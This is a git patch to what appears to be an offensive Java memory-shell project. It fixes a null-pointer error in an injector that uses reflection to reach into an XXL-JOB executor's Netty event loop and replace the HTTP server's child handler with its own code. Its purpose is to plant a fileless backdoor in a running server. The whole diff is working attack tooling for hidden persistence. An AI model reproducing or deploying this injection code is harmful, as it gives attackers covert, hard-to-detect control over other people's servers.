From 527059f2e6f5127567749c8e4b04615e22fcd7e6 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Mon, 28 Apr 2025 00:58:17 +0800 Subject: [PATCH] fix: xxl-job NPE --- .../injector/XxlJobNettyHandlerInjector.java | 25 ++++++++----------- 1 file changed, 11 insertions(+), 14 deletions(-) diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java index a0b7f833..d72b697c 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java @@ -86,23 +86,20 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys"); - if (!set.isEmpty()) { - Object keys = set.toArray()[0]; - Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline"); - Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler"); - setFieldValue(embedHttpServerHandler, "childHandler", this); - System.out.println("xxl-job NettyHandler inject successful"); - break; + if (target.getClass().getName().endsWith("NioEventLoop")) { + HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys"); + if (!set.isEmpty()) { + Object keys = set.toArray()[0]; + Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline"); + Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler"); + setFieldValue(embedHttpServerHandler, "childHandler", this); + System.out.println("xxl-job NettyHandler inject successful"); + break; + } } + } catch (Exception ignored) { } } }